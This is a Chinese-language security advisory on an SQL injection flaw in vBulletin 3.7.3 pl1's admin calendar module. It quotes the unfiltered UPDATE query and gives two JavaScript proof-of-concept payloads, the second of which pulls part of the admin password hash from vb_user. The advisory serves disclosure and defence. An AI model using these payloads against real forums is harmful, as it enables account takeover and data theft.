vBulletin admincp/admincalendar.php模块SQL注入漏洞
2008-12-09
系统编号:
WAVDB-01283
BUGTRAQ: 32348
影响版本:
VBulletin 3.7.3 pl1
程序介绍:
vBulletin是一个专业、便宜的社区论坛解决方案。数千客户,包括很多产业旗舰公司,选择了 vBulletin——它是所有中到大型网站社区的理想的选择。
使用它您的网站便可成为信息和讨论的中心,鼓励访问者一次次的回到您的网站。使用它也是一个改进您对客户/网站用户服务的一个高效的方式。我们的专一开发团队在保持关注安全与性能的同时,持续不断的使 vBulletin 走在互联网革新的最前沿。
漏洞分析:
vBulletin论坛的admincp/admincalendar.php文件没有正确地验证用户提交参数:
- if($_POST['do'] == 'saveholiday')
- {
- $vbulletin->input->clean_array_gpc('p', array(
- 'holidayid' => TYPE_INT,
- 'holidayinfo' => TYPE_ARRAY,
- 'month1' => TYPE_INT,
- 'day1' => TYPE_INT,
- 'month2' => TYPE_INT,
- 'day2' => TYPE_INT,
- 'period' => TYPE_INT,
- 'title' => TYPE_STR,
- 'description' => TYPE_STR,
- ));
- ..
- $db->query_write("
- UPDATE " . TABLE_PREFIX . "holiday
- SET allowsmilies = " . $vbulletin->GPC['holidayinfo']['allowsmilies'] . ",
- recuroption = '" . $vbulletin->GPC['holidayinfo']['recuroption'] . "',
- recurring = " . $vbulletin->GPC['holidayinfo']['recurring'] . "
- WHERE holidayid = " . $vbulletin->GPC['holidayid']
- );
可见未经任何过滤便在UPDATE查询中使用了来自$_POST的数组类型变量holidayinfo,这允许远程攻击者通过提交恶意请求执行SQL注入攻击。
漏洞利用:
PoC #1
以管理员身份登录并打开假日管理器界面:
http://localhost/vbulletin373pl1/admincp/admincalendar.php?do=updateholiday
以任意内容填充title字段,然后通过浏览器URL栏运行以下javascript:
javascript:var w=document.getElementsByName("holidayinfo[recurring]")[0];
w.value="6,waraxe=1";document.cpform.submit();
PoC #2
以管理员身份登录并打开假日管理器界面。填充title字段然后执行以下javascript:
javascript:var w=document.getElementsByName("holidayinfo[recurring]")[0];
w.value="6,recuroption=CONCAT('|',(SELECT SUBSTR(password,1,5) FROM vb_user WHERE userid=1))";
document.cpform.submit();
解决方案:
厂商补丁:
VBulletin
---------
目前厂商还没有提供补丁或者升级程序,我们建议使用此软件的用户随时关注厂商的主页以获取最新版本:
http://www.vbulletin.com/
信息来源:
<*来源:Janek Vind (come2waraxe@yahoo.com)
链接:http://marc.info/?l=bugtraq&m=122693915030370&w=2
http://secunia.com/advisories/32735/
*>